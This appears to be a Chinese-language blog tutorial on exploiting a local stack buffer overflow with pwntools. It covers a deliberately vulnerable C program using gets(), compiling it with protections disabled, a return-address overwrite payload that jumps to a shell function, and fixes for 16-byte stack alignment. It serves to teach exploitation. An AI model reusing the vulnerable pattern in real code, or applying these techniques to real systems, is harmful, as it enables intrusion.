栈溢出使用pwntools本地交互以及栈对齐问题
首先上代码vuln.c,一眼看出gets可以造成栈溢出,使得rip被覆盖为getshell函数的地址,即可在函数返回时获取shell。
#include <stdio.h>
#include <stdlib.h>
int getshell()
{
return system("/bin/sh");
}
int main()
{
char buff[15];
printf("Input:\n");
gets(buff);
puts(buff);
return 0;
}
使用下面的命令进行编译,关闭三个保护机制:Canary栈溢出保护、栈不可执行、PIE溢出保护(对程序的内存布局随机化),生成64位ELF
gcc -g vuln.c -o vuln -fno-stack-protector -z execstack -no-pie
然后用pwntools编写脚本,运行即可get shell
from pwn import *
context.log_level = 'debug'
sh = process('./vuln')
elf = ELF('./vuln')
if __name__ == "__main__":
payload = b'0'*(15+8)+p64(0x400572)
gdb.attach(sh) # 在运行pwntools的同时启动一个gdb窗口进行动态分析
sh.sendlineafter(b"Input:",payload)
sh.interactive()
这样就结束了嘛?不,还有一个重要的问题,就是payload是如何构造的。直觉来想,就是buff的偏移15字节+rbp的8字节+getshell的地址就好。我们用IDA打开vuln,可以看到getshell的地址是0x400572。
用这个地址来构造payload后,运行会发现输出了Got EOF while reading in interactive,直接结束了交互,并不能得到shell。而把地址改成0x400573就可以得到shell,这是怎么回事呢?
原来,我用的操作系统是Ubuntu18,18及以上版本的系统要求在调用system函数时栈16字节对齐。我们可以看到栈中的地址末尾非0即8,这是因为64位程序每个内存单元都是8字节。而栈16字节对齐的意思是调用system函数时rsp的值必须是16的倍数,也就是末位为0,否则无法执行
有两种方法解决该问题,一是将代码中的push rbp(55)跳过去,也就是将getshell的地址+1,这使得栈中的元素少了一个,rsp末位自然就从8变成0了
payload = b'0'*(15+8)+p64(0x400572+1)
另一种方法是在调用system之前调用一个ret指令,ret的功能是pop rip,也会弹栈一次,使得rsp对齐。
payload = b'0'*(15+8)+p64(0x4004F0)+p64(0x400572)
由上图所示,两种方法确实都可以执行成功。